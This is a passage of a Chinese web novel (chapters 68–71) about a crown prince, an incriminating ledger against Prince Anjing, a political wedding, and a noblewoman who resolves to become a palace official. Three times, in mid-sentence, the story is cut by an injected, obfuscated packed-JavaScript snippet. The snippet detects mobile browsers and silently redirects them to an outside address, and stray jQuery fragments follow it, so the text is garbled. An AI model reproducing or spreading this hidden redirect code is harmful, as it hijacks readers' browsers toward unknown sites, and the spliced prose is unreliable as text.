齐奕山继续道:“你们只知道玉川郡是大晋朝最富的地方,金银财宝堆砌如山,繁荣昌盛冠绝一时,却不知道,那外表繁华的玉川郡,下面暗流毒瘤,恶臭四溢!人人都羡慕翟大商人是玉川郡首富,哪里知道,我们东家只不过是安景王的傀儡,他在这些纠葛之间周旋,当真步步惊心,稍有不慎,就有可能万劫不复!”
应子清蹙了下眉,听他这个意思,翟容做的事,像安景王那见不得光的“白手套”。
齐奕山怆然泪下:“安景王在玉川郡,权势熏天,几乎没有制衡。王爷喜欢奢华,他的亲信和手下的官员,借机肆意揽财,公然鬻官卖爵,只要给王爷送上奇珍异宝,就有机会得到升迁和宠幸!真正有才能的清廉官员,反倒被受排挤,被排挤出去!”
“我们东家虽然与他们同列,他绝没有做过一件坏事!”齐奕山握紧了拳头,骨节发了白,泪光闪动,“但在王爷的纵容之下,玉川郡上,那些个丧心病狂的官员肆意横行,怎么会把商人放在眼里?诸多事宜,小小商人又哪里能左右?东家给家乡修路,亦是被这些贪婪乘兴的官员们为难敷衍,原本顶好的铺路石材,被官员手底下人暗中偷卖。直到大雪封山,道路坍塌,连累父老乡亲丧命……我家东主方才如梦初醒。一直以来,他自恃洁身自好,未曾沾染尘埃,哪曾想,双手早已沾满血腥……”
“一场寒冬,玉澜邑死亡人数一共一千五百六十三人,其中,就有东家的母亲。”齐奕山一字一顿,“东家说,是他亲手造这座坟墓,活活埋葬了他们。”
夏夜有蛐蛐鸣叫,宫灯昏暗,书房有一瞬的静默。
一直等到齐奕山收拾好了眼泪,再抬起眼来,齐奕山目光有坚毅之色,“我们东家决定报仇,亦是为了赎罪。”
刘之衍神情变得认真,却不是那么相信翟容的能量:“区区一个商人,向王爷复仇?他能如何?”
“账本。”齐奕山回答得极其简短。
但这简简单单的两个字,不亚于一记轰然炸响、震耳欲聋的惊雷。
商人营生,走南闯北,货物流转,自然与账本休戚相关。
可是记录货物的账本,和其他特殊的账本,意义却有天壤之别,齐奕山说的,不可能是普通账本,而是翟容复仇计划中至关重要的证据!
刘之衍下颚微抬,好整以暇:“继续。”
太子的目光无形之中带着压迫感,齐奕山躲避似的闭上眼。话已经说到这里,他不得不把翟容的心头血,如实交待出去:“一本记录了玉川郡上下勾结的利益链的账本。”
刘之衍居高临下,看着他:“我怎么知道,不是他自己做的假账?”
齐奕山抿紧苍白的嘴唇:“我们东家做事,向来小心谨慎,那本账本,盖满了王爷以及走狗的手印章印!”
那就是铁证如山了。
应子清与刘之衍对视一眼。
齐奕山艰难站起身,颤颤巍巍举起双手,对着刘之衍深深一揖:“太子殿下,话已至此,希望太子殿下能够替翟容,替玉川郡的黎民百姓,主持公道!”
报复安景王,这件烫手山芋的大事,可不是什么人都愿意碰的!
刘之衍没有作声,他稳稳坐在座椅上,面无表情。
更漏一滴滴地往下淌。
应子清站在一旁,感觉连空气都在凝固,她都如此紧张,何况齐奕山。
半晌,刘之衍道:“你没说实话。”
齐奕山徒然面红脖子粗,虚弱的腿一抖,跪在地上连连磕头:“太子殿下恕罪!账本虽然在,但钥匙失了窃!那日夜里,有贼人上翟府偷盗,什么都不偷,只偷那把钥匙!必定是熟悉东家的人所为!”
“什么钥匙?”刘之衍微微倾身。
太子殿下说话不多,却句句切中要害,显然是聪明至极之人。
齐奕山情不自禁回忆,刚刚他是否有一两句滑头之处?
越是想,鬓边被冷汗浸透,齐奕山再不敢隐瞒:“这本账本干系重大,东家岂敢懈怠,随意放置!东家造了一间水火不侵的密室,仿若金刚铸就。从外界,哪怕炸药都炸不开,那道重若千斤的铁门,只能钥匙才能打开!”
“那就是说,”应子清温和出声,总结道,“想要账本,先找钥匙。”
她的存在,中和了太子殿下给人的彻骨寒意,在场的几人,太子只看向她。原本齐奕山以为,她不过是普通的宫女,现在看,此人一定十分重要。他挪动双膝,忍不住向她靠近一些。
刘之衍没有答应,也没有拒绝,他命影枭,在东宫找个地方,先把齐奕山安置下来。
夜太深了。
刘之衍换上纯白亵衣,却没有走入寝殿就寝,而是走到窗边落座。
月亮升得高高的,落下一地皎洁银辉。
应子清本来想装作没看见,自己去睡觉,但最近发生的事情,实在太多,她也睡不着,干脆走过去,在刘之衍对面坐下。
刘之衍面前有一盘围棋,他同时执白子与黑子,片刻才落下一子,而后又落下另一子。
“难道你会左右互搏吗?”应子清好奇,难道这个人天才到这个程度,自己跟自己下棋?自己拆自己的招数?
刘之衍抬起黑沉的眼,目光灼灼:“你会下吗?”
深夜,人不自觉压低声音,说起话来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065787|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颇有喁喁私语之感。
他声音低沉起来,特别好听,应子清听得耳朵麻麻的,摇头:“围棋不会。”
刘之衍笑:“那就是会别的?”
应子清跟着笑了下:“五子棋,不知道你有没有听说过?”
“你演示一下,我可以学一学。”刘之衍把棋盒递给她。
“很简单的!”应子清在棋案上,落下五颗棋子,“只要有五颗棋子连起来就算赢了!”
刘之衍看了一眼,便会了:“那你选一个,我们对弈。”
应子清因为要睡觉,把平日盘起的发髻解开。如墨般的长发,柔顺地倾泻在她的肩头。她在发尾束了根缎带,而后将几缕柔婉的发丝,挽至耳畔。衬得少女瓷白的小脸,温婉动人。看着,比平常更温柔,更动人心魄。
夜浓稠如墨,她才是夜色之中,托出朦胧月色。
少女眉眼弯弯,噙着一抹笑意,专心致志地摆开棋子。明明从不涂胭脂,那双唇柔美红润。那味道,刘之衍尝过,比糖糕还要清甜可口。
刘之衍的视线,直勾勾盯着她看了许久。
应子清一无所觉,两指捻着棋,在他面前挥了挥:“发什么呆,该你了。”
“嗯。”刘之衍不动声色,从棋盒捻起一枚,放置于棋盘上。
应子清看了眼棋盘,跟着落下一子:“你会不会答应齐奕山?”
“你认为?”刘之衍问。
“要。”应子清抬眼,她看他的目光从不设防,“窦家若是与安景王结亲,气焰熏天——你还记得我曾经说过吗?安景王有不轨之心。”
“记得。”刘之衍说。
应子清和他对视,清晰道:“那么扳倒他,对你来说,很重要。”
“没那么简单。”刘之衍语气淡淡,“之前翟容说的礼物,大概指的就是这账本,他拿着铁证如山的证物,却没有动作,就是因为安景王动不得。”
应子清沉默,放下一子后,她回答:“安景王是先皇最疼爱的幼子,圣上的亲兄弟,单靠一本沾满血迹的账簿,他倒不了台……”
刘之衍点头:“你可以预见,当这本账簿拿出来时,父皇会如何震怒,但查到最后,发配流放的,只有玉川郡上的官员。这个惩罚,对安景王来说,不痛不痒。”
根子出在安景王,和他一起做恶的官员,就如棋子,换了还会再长出新的一批人。
棘手。
应子清垂眸,她在看棋盘,也在沉思近期的局势:“可是,路要一步步的走,那账本,你仍然需要。”
她的思路,竟与他一模一样。
刘之衍忍不住看她,语气也有点上扬:“灵清子,此言正合我的意思。”
应子清被他喊得寒毛直竖:“你怎么知道我的别称?”
再一想到,那日追杀时,刘之衍脱口而出的那句“跟着你的暗卫”?
应子清顿时心惊肉跳:“你是不是很早就找人跟踪我了!”
刘之衍默不作声,也不解释。
应子清越想越觉得可怕。也是,身边乍然来了一个宫女,久居深宫又聪明至极的太子,怎么可能毫无防备。
可是,关于自己的事,他到底知道多少?
她不是一个普通的人,至少不是这个世界的人。比起其他阴谋诡计,这个事实如果暴露出去,更令她担心。但同时,她也知道,如此怪力乱神的事情,太过匪夷所思。
应该不会有人想到那里去才对。
刘之衍心情好,不过逗她一逗,但见她面色变得凝重,他亦是若有所思。
难道,她还有比投靠安景王更严重的事情,瞒着自己?
应子清抬眼,不经意撞上他的紧紧盯着自己的目光,那眼神,明显在认真梳理关于她的一切。
她根本没有那个自信,在刘之衍眼底下隐瞒任何事情!
应子清的心一紧,假装泛起了困,当即跳起来:“不玩了,我先去睡觉了,你早点休息!”
69. 第 69 章
极少用妆容打扮自己的少女,笨手笨脚拿起一块嫣红胭脂,放在唇边轻轻一抿。
清水芙蓉般白净的脸上,顷刻间染上一抹靡丽瑰色。应子清转过身,抬起潋滟眸色,莹白的眉心贴了细细的金箔花钿,一颦一笑,美艳动人。
应子清梳了高髻,别了三对金发钗,一袭朱红齐襦纱裙,薄薄一层纱轻轻笼住薄瘦的肩,白皙的腕间缠着浅淡披帛。
远远看过去,她窈窕轻盈的身影,与深宫里行走的高阶女官十分相似。
刘之衍乍一见,视线便黏在她身上,他眼神安静,将她一点一滴,细细描摹。再仔细想想,他眉梢沉了一沉:“怎么有这么好的兴致打扮自己?”
“你不是去王府参加刘弘煦与窦兰芷的婚礼?”应子清低着头,正了正裙摆。
“是,但跟你有什么关系?”刘之衍眼神一亮,他绕着应子清走动,状似无意道,“难不成,你担心到了窦兰芷面前……”自己会暗淡无光?
刘之衍说得欲言又止,半含半露。
“?”应子清莫名看他,“跟窦兰芷有什么关系?”
她早早梳妆打扮,不是因为窦兰芷?也跟他没有一文钱的关系?刘之衍顿了顿,脸色转差:“那你准备见谁?”
阳光下,应子清亮晶晶的双眸,琉璃一样映着明快的光:“去那边,多半会遇到裴尚宫。”
非常意外的名字,刘之衍问:“你为了见她?”
“是啊。”应子清理所当然道,“你没发现吗?裴尚宫对仪容十分看重,她的妆容头发从来一丝不乱。我曾经承蒙她举荐之恩,又得过她的叮嘱和信任,再次碰见她,我不好太没个样子。”
经常在殿前走动,裴尚宫自是仪态端庄,而且她行事公正,为人谦逊,应子清打心底敬重。安景王世子成亲,宴会上既是私人场合,亦是正式的社交场合,应子清想到会碰见裴尚宫,怎么说,也要收拾个人模狗样出来。
“对了,”应子清想到一件事,“刘弘煦的婚礼,谢家人会参加吗?”
刘之衍看她一眼:“自然。”
谢凝荷也去?不会大受刺激吗?应子清唏嘘了一下。
长安城沿路的街道上,槐树与柳木,缀满了红丝绦,像是把新婚的喜气,昭告天下。
日头斜了一斜,世子迎娶世子妃最隆重的仪式已经结束,接下来就是大摆筵席的时刻。
刘弘煦一身奢靡华贵的红衣,芝兰玉树般,立于王府门前迎送宾客。
听说新郎那身新婚服饰,出自窦兰芷之手,一针一线皆是她亲手裁剪刺绣。
众人来到刘弘煦面前,纷纷称赞窦兰芷巧夺天工的手艺,感慨他的好福气,娶到如此贤惠美貌的世子妃,又赞叹他们两个是前世修来的良缘。
刘弘煦冷着一张脸,并无多余表情,衬得那张英气的脸,越发的清白俊秀。
他是知道内情的,窦兰芷那人,恐怕连绣花针也没碰过,怎么可能缝制嫁衣?这些话术,是他们窦家人,故意宣称出去,为窦兰芷博个好名声罢了。
安景王唯一的儿子娶了妻,娶的又是窦皇后亲侄女。
自从乌嬷嬷毒害太子事毕,帝后二人的关系再也没有这么差过,但因为窦兰芷的婚事,窦皇后破天荒给庆帝请了道旨,向庆帝讨些赏赐。
庆帝没有驳窦皇后的面子,反而将此事,当作帝后关系的破冰契机,大手一挥,给了前所未有的丰厚赏赐。
天刚破晓,装饰得喜气洋洋的骆驼车队,从皇宫鱼贯而出。
长安城的百姓探头探脑,聚集在道路周围,见识着这一盛况。连绵不绝的车队,将琳琅满目御赐礼物,运送到安景王府。王府大门,唱礼的太监报庆帝的赏赐之物,报得声音嘶哑,一上午就换了好几个。
再没眼力见的,都知道安景王如今风头正盛。
众位来宾,无有不羡慕安景王煊赫权势,感叹王爷在庆帝心中的分量。
刘之衍带着一行人,御马而来。
刘弘煦亲自走上前,一把拽住刘之衍的马缰,仰着头看他:“圣上的御赐,丰盛至极。太子哥哥亲临臣弟的婚礼。这般阵仗,这般殊荣,放眼天底下,已经没有第二家,像我们这般拥有无上的风光。太子哥哥,你说这到底是好事,还是坏事?”
刘之衍居高临下扫他一眼,淡淡道:“七皇叔敢接,就有这样的底气,自然是好事。”
“那就多谢太子哥哥的吉言了!”刘弘煦笑了下,握缰绳的手却在发白,“太子殿下大驾光临,臣弟有失远迎!”
应子清御着绯云骢,跟在后面,只觉得这花团锦簇,喜气洋洋的一派景色,莫名弥漫几分不合时宜的悲凉。
他们正往里间走,只听外面有人报,谢家的马车到了。
应子清回头。
谢家马车车帘撩开,先出来一名侍女,她下了车回身去搀扶谢凝荷。
炎炎夏日,谢凝荷披着一件冬日才会穿的大氅,缓步走出。
那件大氅明显是男人的,肩线宽大,下摆又长,披在谢凝荷单薄瘦小的身躯上,极其不合身。
孔雀翎毛在烈日照射下,闪着熠熠光亮。
谢凝荷身边的侍女,转身拿过一把油纸伞,慢慢撑开,遮在谢凝荷身上,挡住众人望过来的视线。
王府里管事模样的女人,急忙走上前,低声询问谢家小姐的情况。
谢凝荷站在油纸伞下,默不作声。
侍女微微颔首:“失礼了,我们家小姐近日身体抱恙,大夫说了,不宜见光,也不可受风,还望海涵。”
“哪里的话呀!”女管事笑意盈盈,眉眼和善,“谢家大小姐身体抱恙,还肯赏脸捧场,是我们的荣幸。王府有一处不受打扰的休憩之所,很适合小姐,请随我来。”
大家脸色古怪,目送大晴天撑伞的谢家大小姐离开。
只不过是一段小插曲,众人很快恢复刚才的喧哗。
刘之衍注意到应子清的神色,问:“你想过去看看?”
“算了。”应子清摇头,谢凝荷多半不希望,别人知道她这桩隐秘心事。
刘之衍眺望谢凝荷离去的方向:“刘弘煦很快找过去。”
“为什么?”应子清反问。
“他们之间的纠缠,应该会在今日做个了断。”刘之衍说得平静,听得应子清心中酸涩。
—
刘弘煦不该过来的,可是他听府中的女管事互相聊天,说不知道谢家大小姐竟体弱到了这种程度,大夏天的,穿着厚实的大氅。
病了?什么时候又病了?病的严重吗?那些女管事见世子亲口过问,早就唬了一大跳,连忙推脱摆手,表示一问三不知。
问这些人是没有用的,待一回神,刘弘煦已经走到谢凝荷面前。
刘弘煦以为,他会看见油纸伞下的谢凝荷,会是一幅失魂落魄的模样。
她斜斜撑着伞柄,转过身。阴影下的少女,瘦了,唇色比平常苍白。往常爱哭的一双乌黑眼眸,像是流干了眼泪,一丝水迹也没有了。
无端的,她站在那里,惹人注目。一如江南水乡的温柔少女,一步一行,娉婷婀娜,俨然是初长成的少女,含苞欲放。
只是,谢凝荷还未初尝恋爱的欢喜,便已饱受其中的苦楚,她的神色早没了婉转娇羞,有的只是疏离怅然,眉心凝着一道浅浅的阴云。
谢凝荷见他来了,小声道:“这件孔雀翎大氅你送的,你还记得吗?”
她的声音听起来跟小动物一样,那么轻那么柔软,带着一点试探和讨好。
讨好?
怎么可能?这还是他认识的谢凝荷吗?
刘弘煦有一瞬间的晃神,心脏密密麻麻的疼。
这可是大大咧咧,要踩他靴子,强迫送他小兔子花灯
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15096077|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的谢家大小姐。娇蛮,任性,出手大方,动不动就爱哭。她的骄傲是讨喜的,是娇嗔柔软的,因为希望他在乎她,因为她喜欢他,她做了那么多事,想让刘弘煦看着她。
现在这些脾性,统统消失得一干二净。
“不记得也没关系。”谢凝荷垂了眼,低低的声音,像是早早耗光了力气,已经没了挣扎的心思了,听得人心生哀伤。
刘弘煦不愿意再多看一眼这样的她,心脏一紧:“你要是不舒服,何必来这里。我去找你哥哥,把你送回去。”
剩下的有一句话,刘弘煦没能说出口,他想说,今天你不该来这里。
“我才刚来,你就赶我走啊?”谢凝荷眨着眼睛,玩笑似的叹气,“我好傻,我以为我穿着这件大氅,你会做些什么,结果你见我的第一面,就是想送我走。”
刘弘煦抿直了唇线,他一直注意与她保持一定的距离。
他们之间,隔着那么漫长的距离,漫长到像是彼此路过,哪怕被人看见,绝不会认为他们认识。
谢凝荷的视线,在他们之间扫过去,随后缓缓落下,眼里的光一并熄了:“我穿这一身出门,也是很不容易的。你也知道,不论我做什么,行动就有人管有人问。家里姑姑婶婶一大堆,还有个哥哥,天天唠叨。我买小兔子花灯,也是想尽了办法。但我被管的这么严,还是想努力送你一些东西。”
“前段时间,有个新来的侍女无意间说起,她说男女之间相处,若是公子主动些,诸事都会顺遂许多。”谢凝荷轻声细语,“那时我才方然醒悟,怪不得和你相处至今,我感觉特别辛苦。皆因我处处主动,你处处被动。”
“我真傻,”谢凝荷又说了一遍,她一点也不怕被人笑,坦然道,“我以为你看了这件衣服,会伤心,会带我离开,和我一起逃婚!”
说着说着,谢凝荷自己就笑了:“抱歉,我穿着这件大氅,想做场梦,现在梦醒了。”
谢凝荷把油纸伞收起,扔到地上,然后解下大氅,也扔在地上。
刘弘煦眼眸染了一层淡淡哀色,他一直看着她,声音很轻:“我去把你哥哥叫来,好吗?”
他小心翼翼的,像是怕大声了,把她碰碎了。
谢凝荷没有接话,她抬起头,一点点打量四周喜气洋洋的景致。园中四处张贴双喜,鲜红夺目,那样刺眼:“一路上,我都听说了,窦家小姐帮你真多啊。她竟愿意求到皇后那里,替王爷和你,讨来那么多赏赐。”
“我比她笨,看不清楚你需要什么。我连找个花灯都那么难,还不讨你喜欢。”谢凝荷闭了闭眼睛,轻轻一哂,“窦家小姐做得比我好多了,看来她真喜欢你,比我都喜欢你。所以你才选择窦家吗?”
刘弘煦没有解释,他们根本不是谢凝荷想的那种关系。窦兰芷哪里是为他好?分明是她什么都要最好的,从外面看,倒像成全了他。
谢凝荷看出他想说什么,失笑摇头:“有些事你比我懂,可是这内宅的事,你没有我懂。你们成了亲,就是夫妻,关系再不好也会变好。”
谢凝荷见地上的东西,不禁皱了皱眉。
真是的,她干嘛跟他说这些?傻乎乎的跑来,再度确认刘弘煦根本没拿她当回事,已经够丢人了。丢人丢到这个地步,也该差不多了。
“哥哥说得对,是我太任性。刘弘煦,今日之事,是我做的不对,希望你原谅我的莽撞。”谢凝荷客客气气,她指了指地上,“你叫人偷偷丢了吧,别被窦家小姐看见。”
她准备同他一刀两断?刘弘煦狠狠一咬牙,咬破了舌尖,血腥味瞬间在口中弥漫,他哑着嗓子问:“丢了?你不要了?”
“不要了。”谢凝荷点头。
谢凝荷抬眼看他,一字一句,说得心如刀绞,但她脸上还在笑,一滴泪都没有掉。
“恭贺你,幸得佳偶。愿你们琴瑟和谐,永结同心。”
70. 第 70 章
太子一行人到了王府,被请入一间房里休息。应子清和旁人告了退,准备出去见一见裴尚宫。
趁这当口,有侍女来报,说谢家小姐想拜见应司直。
应子清吃了一惊,旋即道:“我去看看。”
刘之衍跟了上去:“我同你一起。”
谢凝荷在树荫下站着。
她那身奇怪打扮全不见了,像是换了身装束,看着十分清雅。
廊下,应子清匆匆走来,谢凝荷稍微开心了些,又见刘之衍紧随在她身后。谢凝荷忍不住鼓起脸,可是心里,不禁泛起淡淡羡慕。
谢凝荷礼仪周全,向刘之衍行礼:“见过太子哥哥。”
刘之衍点了点头,但他的视线,在她身上停留片刻。
应子清担心她亲自跑来婚礼现场,会大受刺激。她细心打量,发现谢凝荷的状态还好,除了唇色略显苍白外,并无殊色。
应子清牵住她的手,发觉她指尖冰冷:“是不是生病了?”
“子清姐姐,”谢凝荷笑了下,忽而半蹲下身,“我想求一求你,带我拜见裴尚宫。”
应子清诧异,急忙将她拉起来:“好端端的,跟我行什么礼!为什么见她?”
谢凝荷不愿意起身,她抬起脸,神情坚定:“我想进宫,做一名女官。”
怕应子清不同意,谢凝荷急忙道:“子清姐姐,你听我说,我不是心血来潮。这件事,原来我同你说过的,你多半没当真,我是日日夜夜盘算这个念头的。”
谢凝荷扫了眼刘之衍,太子哥哥多半不会管这种事。拜见裴尚宫不难,难的是有没有人愿意给她推荐。说服子清姐姐从中帮忙,事情就有眉目。
应子清定定看着她:“你确定想做女官?”
谢凝荷愣了一瞬,肯定点头:“自然。”
应子清说:“那好,我正要去见裴尚宫,你与我一起。”
“啊?”谢凝荷没想到她这么快就答应。
“找工作而已,有什么问题?”应子清理所当然。
谢凝荷这样的贵女,除了嫁人之途,没有别的选择。哪怕谢言昭心疼妹妹,对妹婿千挑万选。架不住有些人会做戏,若是挑中貌若君子的中山狼,婚都难离。应子清对这种盲婚哑嫁的婚配方式深感无语,若是谢凝荷想选择别的方式生存,有何不可?
不过,应子清神情认真,补了一句:“只是,能不能说服裴尚宫,要靠你自己争取。”
谢凝荷呆了一呆,本以为是桩天大的难事,她都做好了被拒绝的准备。怎么到子清姐姐这里,变得如此容易。她眼眶一热,感激道:“嗯!我会的!”
“好姐姐……”谢凝荷上前两步,伸手想抱住应子清,却被人硬生生拽住后领,把她从应子清身边拉开。
刘之衍冷冷训斥:“说话就说话,别失了体统。”
“……”谢凝荷郁闷,讪讪放下手,若不是有求于人,她非得翻个白眼。
王府宴请,裴尚宫与一干人等高阶女官,都收到了喜帖。她们不方便见外男,在王府内花园里,寻一处僻静之处落座。
应子清携了谢凝荷,来到裴尚宫面前落座。
裴尚宫桌前有几盏茶,她笑盈盈推了推桌案,请她们润一润喉。
应子清跪坐于一旁,三言两语,将她们的来意表明。
裴尚宫讶然片刻,半晌没有作声。
谢凝荷从未与这等高位女官打交道。此刻,她眼神偷偷打量,只见应子清与裴尚宫,发髻高耸,跪坐的姿态笔挺,举手投足间,散发主掌事务、独当一面的气场,两人一样的高不可攀,一样威严,让她满心羡慕。
裴尚宫上下打量谢凝荷,轻轻摇头:“你是谢家的大小姐,任性不得,快休了这样的念头,回家去吧。”
“裴尚宫!”谢凝荷得了应子清的鼓励,膝行向前,声音都大了,“小女绝非任性之人,深宫内的情形如何,我早已探明。如今我已做好了打算,否则应司直不会助我一臂之力。请裴尚宫给小女一个机会,或是安排一场测试,或是以其他方式考量,只求裴尚宫明白小女的决心。”
裴尚宫的脸色冷下来,看应子清的表情都不太好。
应子清被她瞪了一眼,亦不好帮忙求情。
谢凝荷急了,眼底凝起泪:“裴尚宫,小女是认真的,我不想被家里安排一个男人,随便嫁了!”
裴尚宫本欲起身离去,听了这话,她动作一顿,慢慢回过头:“进了宫门,从此你不再是养尊处优的谢家大小姐。婚配上,也无别的指望。若是你心中惦记着某个人,那你与他再没缘分。你以后就是宫中谢氏女官了,你想清楚再答应吧。”
应子清微怔住,传闻裴尚宫出身不错,但她像是早年的谢凝荷,亲自求了傅太后进了宫,从最低阶女官做起,一步步到了尚宫之位,统领六局。难道谢凝荷的那番话,让她看到曾经的自己?
谢凝荷恭恭敬敬,匍伏在地:“裴尚宫,我想得很清楚。”
裴尚宫没有马上同意,掷下一段话:“你们谢家有诸多规矩,你且先将这些问题处理妥当,届时再来寻我也不迟。”
谢凝荷得了裴尚宫这句话,心中一松。
出来后,侍女见谢凝荷满脸轻松,陪着她一起开心:“先前小姐还愁眉不展,遇到什么事,这么高兴?”
谢凝荷不欲多说,摇了摇头。
几人簇拥谢凝荷走到门外,等车夫驾来马车。
“谢凝荷。”一道男声,叫住她。
谢凝荷被这声音里的寒意,惊得哆嗦一下,刘之衍站在角落,示意她过去。
谢凝荷跟着他走,在一处隐蔽的地方停下:“太子哥哥?你有事找我?”
刘之衍乌黑的双眸在阴影之处,显得更加深沉,他长得高挑,俯视她的目光里,不带一丝温度。
太子哥哥从未用这样的眼神看她,像在看一颗棋子或是对手。
那模样太陌生太可怕,谢凝荷情不自禁退后两步。
“他不会放过你。”刘之衍平静道。
他没有指出是谁,但谢凝荷一下明白过来:“……他已经成婚了。”
“那件孔雀翎大氅,刘弘煦没有扔,他命人细心收好。”刘之衍问,“你猜,他是什么意思?”
谢凝荷并未觉得欢喜,她抿紧嘴唇:“我不知道,也不想知道。我以后要进宫,旁的事与我没关系了。”
刘之衍眼里来了一些兴趣,他摇了摇头:“谢凝荷,谢言昭与刘弘煦是好友,你不可能一无所知。”
谢凝荷听得害怕,浑身发冷。
刘之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15100882|152826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衍见她知道自己在说什么,继续道:“我有一个想娶的人,此生认定了她,决然不会放手。我们刘家人,血脉相近,性子也极其相近,我太清楚刘弘煦的为人,他决不可能放过你。你信不信,若你考虑重新议婚,刘弘煦一定会横加阻拦。他选窦兰芷,是暂时迷了眼。等来日安景王登上帝位,刘弘煦从后宫把你抓去,当伺候人的侍妾,又有何难?”
从来没有人,这么赤裸裸地把目前和平表象撕碎,把潜藏的暗流涌动,和可怕的手段,说与她听。短短一瞬间,仿佛整个世界,在她眼里都变了样。谢凝荷不可置信,眼泪浮了上来,她张了张口,一时说不出话。
刘之衍耐心颇好,看她慢慢落着眼泪,半晌他说:“若不想发生这件事,不如告诉我一件事,如果安景王得了一件宝物,他会放在哪里?”
谢凝荷没有忽略他话里藏着的阴谋诡计,指尖颤了下,盈泪问:“太子哥哥,你什么时候变成这样?什么时候,我们之间也开始用上了计谋?”
刘之衍没再多言。
谢凝荷闭上眼,眼泪倏尔流出,划过脸颊:“我记得也是那样一个夏天,我们在宫里玩耍,我还记得,刘弘煦怕鹰,是你帮他射箭打下来的。那时候你护着他,有人问你何故如此,你说你们是兄弟。为什么大家要长大,大家还是小时候该多好。”
刘之衍只定定望着她,他只在乎那个答案。
阴影里,谢凝荷垂下眼:“如果安景王得了宝物,会放在东郊禅心雅园之中。最近,刘弘煦经常去那边呆着。”
“这是为我的哥哥所做。”谢凝荷目光直直看向刘之衍,“请太子殿下记得小女与谢家的苦心。”
一场权力争夺不可避免,谢凝荷心中惴惴,刀光剑影之下,他们谢家又该如何?
曾经在谢凝荷口中亲昵的太子哥哥,悄然转变为高高在上的“太子殿下”。刘之衍听了,无动于衷。得到该得到的消息,他点了下头,径直走了。
谢凝荷看着他的背影,心中复杂异常,是不是自己醒悟得太晚?他们已经像大人一样处理事务,唯有自己,幼稚的停留在过去。
晚间吃饭的时候,席间上,香巧谈起近期长安城如何过七巧节。
“是不是要对着月亮穿针?”应子清好奇,“寓意自己心灵手巧什么的。”
“是啊,”语兰失笑,“怎么听子清姐姐的意思,是没过过的吗?”
应子清摇头:“没有,常常听别人这么说。”
香巧和语兰对视一眼,七巧节是家中姐妹最喜欢也是最和睦的节日,父母会给她们准备一些可口的吃食,她们借这个机会,凑在一起吃吃笑笑,比一比手工活。每每回想起来,总觉得温馨不已。
听应子清这么说,她们便猜,子清姐姐多半没个兄弟姐妹,因而生出几分同情。
语兰眼泪汪汪,建议说:“那不如子清姐姐跟我们一起出去玩吧!”
香巧激动道:“对啊,大街上有猜谜花灯,有集市,普济寺那边会举办庙会,听说那边求姻缘很灵验的!”
应子清听了有些心动,众人齐齐转头去看刘之衍。
他们一行人能不能集体请假出去玩,要看东宫殿下同不同意。
刘之衍神色平静,他想了想,同意道:“可以去普济寺看看。”
71. 第 71 章
夜幕降临,长安城的夜市熙熙攘攘,人们在街道的上方牵引无数根修长的竹竿,竹竿之间,每隔一段距离,缀着一盏造型别致的花灯,或似絮絮绽放的莲花,或似熊熊盛开的芙蓉。从底下走过,仿佛置身于千万盏亮花织就的花海之下。
莹亮璀璨的光泽,落在应子清眉眼间,落在她淡粉色的唇间,刘之衍看着她嘴唇一张一合:“你找到账本了?”
“嗯?”刘之衍听得心不在焉。
“……齐奕山说的账本。”应子清侧过身,给旁边的路人让路。
“嗯,我知道在哪。”刘之衍顺便伸手,将她揽在自己怀里。
借着朦胧暧昧的灯影,少年少女们与各自的朋友结伴而行,他们彼此路过,摩肩擦踵之际,眉梢眼风偷偷扫一眼对面的人。颇有“墙头马上遥相顾,一见知君即断肠”之感。
刘之衍头戴美玉,身姿修长挺拔,一身普通的月白圆袍,给他穿出尔雅贵公子的出尘气质,走在人群之中,极其惹人注目。
不过大家很快注意到,这个模样俊美的男人,心思全在他身边的少女身上。
旁人顺着他的眼神看过去,眼睛就挪不开了。
少女双眸仿佛藏着璀璨星辰,眼底透着晶亮的光,长睫忽闪之间,满是灵动,她嘴边偶尔扬起浅浅笑意,如浮光掠影般惊艳。
两人对旁人的眼光无知无觉,应子清抬眼看他:“账本在哪?”
刘之衍顺手一指:“安景王在普济寺附近有个院子,叫禅心雅园,据说他们会把重要的东西,藏在里面。”
应子清顿了下:“这么机密的事情,你怎么知道?你在安景王那边有眼线?”
刘之衍没有解释,他低声告诉她:“我命影枭夜鹰在附近布局,只等时机一到,他们会潜入府中,搜查钥匙。”
应子清朝普济寺的方向看过去,天色太黑,除了影影绰绰的屋顶,什么也看不清楚。
刘之衍揽着她,少女细瘦的肩膀不盈一握:“不必忧心,我们在附近随便逛逛就好。”
他无意间看见别的女孩子手里,或多或少,提着一盏精巧的花灯,他想给应子清买一盏:“那边有卖花灯的摊子,我们去看看。”
